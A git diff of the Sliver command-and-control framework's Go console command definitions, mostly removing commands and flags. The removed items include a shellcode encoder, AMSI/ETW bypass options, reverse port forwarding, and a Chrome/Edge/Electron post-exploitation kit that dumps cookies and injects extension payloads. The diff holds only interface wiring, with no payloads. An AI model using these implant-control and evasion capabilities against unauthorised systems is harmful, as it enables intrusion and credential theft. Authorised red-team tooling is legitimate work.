con.Println()
@@ -514,46 +503,6 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.MultiplayerHelpGroup,
})
// [ Reconfig ] ---------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.ReconfigStr,
Help: "Reconfigure the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("r", "reconnect-interval", "", "reconnect interval for implant")
f.String("i", "beacon-interval", "", "beacon callback interval")
f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
reconfig.ReconfigCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.RenameStr,
Help: "Rename the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.RenameStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
reconfig.RenameCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
// [ Sessions ] --------------------------------------------------------------
sessionsCmd := &grumble.Command{
@@ -565,10 +514,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("k", "kill", "", "kill the designated session")
f.Bool("K", "kill-all", false, "kill all the sessions")
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
f.Bool("F", "force", false, "force session action without waiting for results")
f.String("f", "filter", "", "filter sessions by substring")
f.String("e", "filter-re", "", "filter sessions by regular expression")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -585,7 +530,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Kill all stale/dead sessions",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
Flags: func(f *grumble.Flags) {
f.Bool("F", "force", false, "Force the killing of stale/dead sessions")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -599,6 +543,26 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(sessionsCmd)
con.App.AddCommand(&grumble.Command{
Name: consts.ReconfigStr,
Help: "Reconfigure the active session",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "agent name to change to")
f.Int("r", "reconnect", -1, "reconnect interval for agent")
f.Int("p", "poll", -1, "poll interval for agent")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.SessionsReconfigCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.BackgroundStr,
Help: "Background an active session",
@@ -626,7 +590,7 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
Flags: func(f *grumble.Flags) {
f.Bool("F", "force", false, "Force kill, does not clean up")
f.Bool("f", "force", false, "Force kill, does not clean up")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -720,28 +684,6 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
tasksCmd.AddCommand(&grumble.Command{
Name: consts.CancelStr,
Help: "Cancel a pending beacon task",
LongHelp: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}),
Flags: func(f *grumble.Flags) {
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("id", "beacon task ID", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
tasks.TasksCancelCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(tasksCmd)
// [ Use ] --------------------------------------------------------------
@@ -865,30 +807,6 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "always-overflow",
Help: "Disable table pagination",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsAlwaysOverflow(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "small-terminal",
Help: "Set the small terminal width",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsSmallTerm(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(settingsCmd)
// [ Info ] --------------------------------------------------------------
@@ -903,9 +821,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Args: func(a *grumble.Args) {
a.String("session", "session ID", grumble.Default(""))
},
Completer: func(prefix string, args []string) []string {
return use.BeaconAndSessionIDCompleter(prefix, args, con)
},
Run: func(ctx *grumble.Context) error {
con.Println()
info.InfoCmd(ctx, con)
@@ -1016,33 +931,6 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
// [ Shellcode Encoders ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.ShikataGaNai,
Help: "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない",
LongHelp: help.GetHelpFor([]string{consts.ShikataGaNai}),
Args: func(a *grumble.Args) {
a.String("shellcode", "binary shellcode file path")
},
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save output to local file")
f.String("a", "arch", "amd64", "architecture of shellcode")
f.Int("i", "iterations", 1, "number of iterations")
f.String("b", "bad-chars", "", "hex encoded bad characters to avoid (e.g. 0001)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sgn.ShikataGaNaiCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
// [ Exec ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
@@ -1052,13 +940,10 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.Bool("T", "token", false, "execute command with current token (windows only)")
f.Bool("o", "output", false, "capture command output")
f.Bool("s", "save", false, "save output to a file")
f.Bool("X", "loot", false, "save output as loot")
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
f.String("E", "stderr", "", "remote path to redirect STDERR to")
f.String("n", "name", "", "name to assign loot (optional)")
f.Uint("P", "ppid", 0, "parent process id (optional, Windows only)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1089,15 +974,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.Bool("i", "in-process", false, "Run in the current sliver process")
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Uint("P", "ppid", 0, "parent process id (optional)")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1128,9 +1006,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
f.Bool("S", "shikata-ga-nai", false, "encode shellcode using shikata ga nai prior to execution")
f.String("A", "architecture", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
f.Int("I", "iterations", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1144,13 +1019,8 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.Bool("w", "unicode", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
f.Uint("P", "ppid", 0, "parent process id (optional)")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1175,12 +1045,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.String("e", "export", "ReflectiveLoader", "Entrypoint of the Reflective DLL")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
f.Uint("P", "ppid", 0, "parent process id (optional)")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
},
Args: func(a *grumble.Args) {
a.String("filepath", "path the DLL file")
@@ -1209,8 +1075,6 @@ func BindCommands(con *console.SliverConsoleClient) {
a.Uint("pid", "pid")
},
Flags: func(f *grumble.Flags) {
f.Bool("S", "disable-sgn", true, "disable shikata ga nai shellcode encoder")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
@@ -1271,7 +1135,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("d", "service-description", "Sliver implant", "description of the service")
f.String("p", "profile", "", "profile to use for service binary")
f.String("b", "binpath", "c:\\windows\\temp", "directory to which the executable will be uploaded")
f.String("c", "custom-exe", "", "custom service executable to use instead of generating a new Sliver")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -1300,9 +1163,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("P", "password", "", "SSH user password")
f.String("l", "login", "", "username to use to connect")
f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials")
f.String("c", "kerberos-config", "/etc/krb5.conf", "path to remote Kerberos config file")
f.String("k", "kerberos-keytab", "", "path to Kerberos keytab file")
f.String("r", "kerberos-realm", "", "Kerberos realm")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -1324,10 +1184,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("a", "arch", "amd64", "cpu architecture")
f.String("N", "name", "", "agent name")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("I", "template", "sliver", "implant code template")
f.Bool("E", "external-builder", false, "use an external builder")
f.String("c", "canary", "", "canary domain(s)")
@@ -1341,9 +1199,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1353,7 +1208,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
@@ -1384,10 +1238,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("a", "arch", "amd64", "cpu architecture")
f.String("N", "name", "", "agent name")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("I", "template", "sliver", "implant code template")
f.Bool("E", "external-builder", false, "use an external builder")
f.String("c", "canary", "", "canary domain(s)")
@@ -1401,9 +1253,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1413,7 +1262,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
@@ -1543,7 +1391,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "canary", "", "canary domain(s)")
f.String("N", "name", "", "implant name")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
@@ -1554,11 +1401,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.String("I", "template", "sliver", "implant code template")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1568,7 +1410,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
@@ -1609,22 +1450,16 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "canary", "", "canary domain(s)")
f.String("N", "name", "", "implant name")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("I", "template", "sliver", "implant code template")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1634,7 +1469,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
@@ -1740,24 +1574,6 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Filesystem ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.MvStr,
Help: "Move or rename a file",
LongHelp: help.GetHelpFor([]string{consts.MvStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("src", "path to source file")
a.String("dst", "path to dest file")
},
Run: func(ctx *grumble.Context) error {
err := filesystem.MvCmd(ctx, con)
return err
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.LsStr,
Help: "List current directory",
@@ -1786,7 +1602,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Bool("r", "recursive", false, "recursively remove files")
f.Bool("F", "force", false, "ignore safety and forcefully remove files")
f.Bool("f", "force", false, "ignore safety and forcefully remove files")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1865,9 +1681,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("c", "colorize-output", false, "colorize output")
f.Bool("x", "hex", false, "display as a hex dump")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.String("T", "type", "", "force a specific loot type (file/cred) if looting (optional)")
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting (optional)")
},
Args: func(a *grumble.Args) {
a.String("path", "path to the file to print")
@@ -1889,10 +1702,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("X", "loot", false, "save output as loot")
f.String("T", "type", "", "force a specific loot type (file/cred) if looting")
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting")
f.String("n", "name", "", "name to assign the download if looting")
f.Bool("r", "recurse", false, "recursively download all files in a directory")
},
Args: func(a *grumble.Args) {
a.String("remote-path", "path to the file or directory to download")
@@ -2003,8 +1812,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("p", "pid", -1, "target pid")
f.String("n", "name", "", "target process name")
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Bool("X", "loot", false, "save output as loot")
f.String("N", "loot-name", "", "name to assign when adding the memory dump to the loot store (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2031,7 +1838,7 @@ func BindCommands(con *console.SliverConsoleClient) {
a.Uint("pid", "pid")
},
Flags: func(f *grumble.Flags) {
f.Bool("F", "force", false, "disregard safety and kill the PID")
f.Bool("f", "force", false, "disregard safety and kill the PID")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2238,7 +2045,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2282,10 +2088,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("k", "kill", "", "kill a beacon")
f.Bool("K", "kill-all", false, "kill all beacons")
f.Bool("F", "force", false, "force killing of the beacon")
f.String("f", "filter", "", "filter beacons by substring")
f.String("e", "filter-re", "", "filter beacons by regular expression")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.GenericHelpGroup,
@@ -2552,59 +2354,6 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(registryCmd)
// [ Reverse Port Forwarding ] --------------------------------------------------------------
rportfwdCmd := &grumble.Command{
Name: consts.RportfwdStr,
Help: "reverse port forwardings",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.RportFwdListenersCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
}
rportfwdCmd.AddCommand(&grumble.Command{
Name: consts.AddStr,
Help: "Add and start reverse port forwarding",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.StartRportFwdListenerCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("r", "remote", "", "remote address <ip>:<port> connection is forwarded to")
f.String("b", "bind", "", "bind address <ip>:<port> implants listen on")
},
HelpGroup: consts.SliverWinHelpGroup,
})
rportfwdCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Stop and remove reverse port forwarding",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.StopRportFwdListenerCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Int("i", "id", 0, "id of portfwd to remove")
},
HelpGroup: consts.SliverWinHelpGroup,
})
con.App.AddCommand(rportfwdCmd)
// [ Pivots ] --------------------------------------------------------------
pivotsCmd := &grumble.Command{
@@ -2630,7 +2379,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}),
Flags: func(f *grumble.Flags) {
f.String("b", "bind", "", "name of the named pipe to bind pivot listener")
f.Bool("a", "allow-all", false, "allow all users to connect")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -2922,7 +2671,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
f.Uint64("i", "id", 0, "id of portfwd to remove")
f.Int("i", "id", 0, "id of portfwd to remove")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -3008,7 +2757,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Add a remote file from the current session to the server's loot store",
LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}),
Args: func(a *grumble.Args) {
a.String("path", "The file path on the remote host to the loot")
a.String("path", "The local file path to the loot")
},
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "name of this piece of loot")
@@ -3389,7 +3138,7 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
Args: func(a *grumble.Args) {
a.String("connection-string", "connection string to the Operator Host (e.g. 127.0.0.1:1234)")
a.String("connection-string", "connection string to the Operator Host")
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
@@ -3397,186 +3146,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("r", "range", "sliver", "Agents range")
},
})
con.App.AddCommand(operatorCmd)
// [ Curse Commands ] ------------------------------------------------------------
cursedCmd := &grumble.Command{
Name: consts.Cursed,
Help: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚",
LongHelp: help.GetHelpFor([]string{consts.Cursed}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedCmd(ctx, con)
con.Println()
return nil
},
}
cursedCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a Curse from a process",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "kill", false, "kill the process after removing the curse")
},
Args: func(a *grumble.Args) {
a.Int("bind-port", "bind port of the Cursed process to stop")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedRmCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedConsole,
Help: "Start a JavaScript console connected to a debug target",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)`")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedConsoleCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedChrome,
Help: "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
f.Bool("H", "headless", false, "start browser process in headless mode")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional chrome cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedChromeCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedEdge,
Help: "Automatically inject a Cursed Chrome payload into a remote Edge extension",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
f.Bool("H", "headless", false, "start browser process in headless mode")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional edge cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedEdgeCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedElectron,
Help: "Curse a remote Electron application",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("e", "exe", "", "remote electron executable absolute path")
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional electron cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedElectronCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedCookies,
Help: "Dump all cookies from cursed process",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save to file")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedCookiesCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.ScreenshotStr,
Help: "Take a screenshot of a cursed process debug target",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int64("q", "quality", 100, "screenshot quality (1 - 100)")
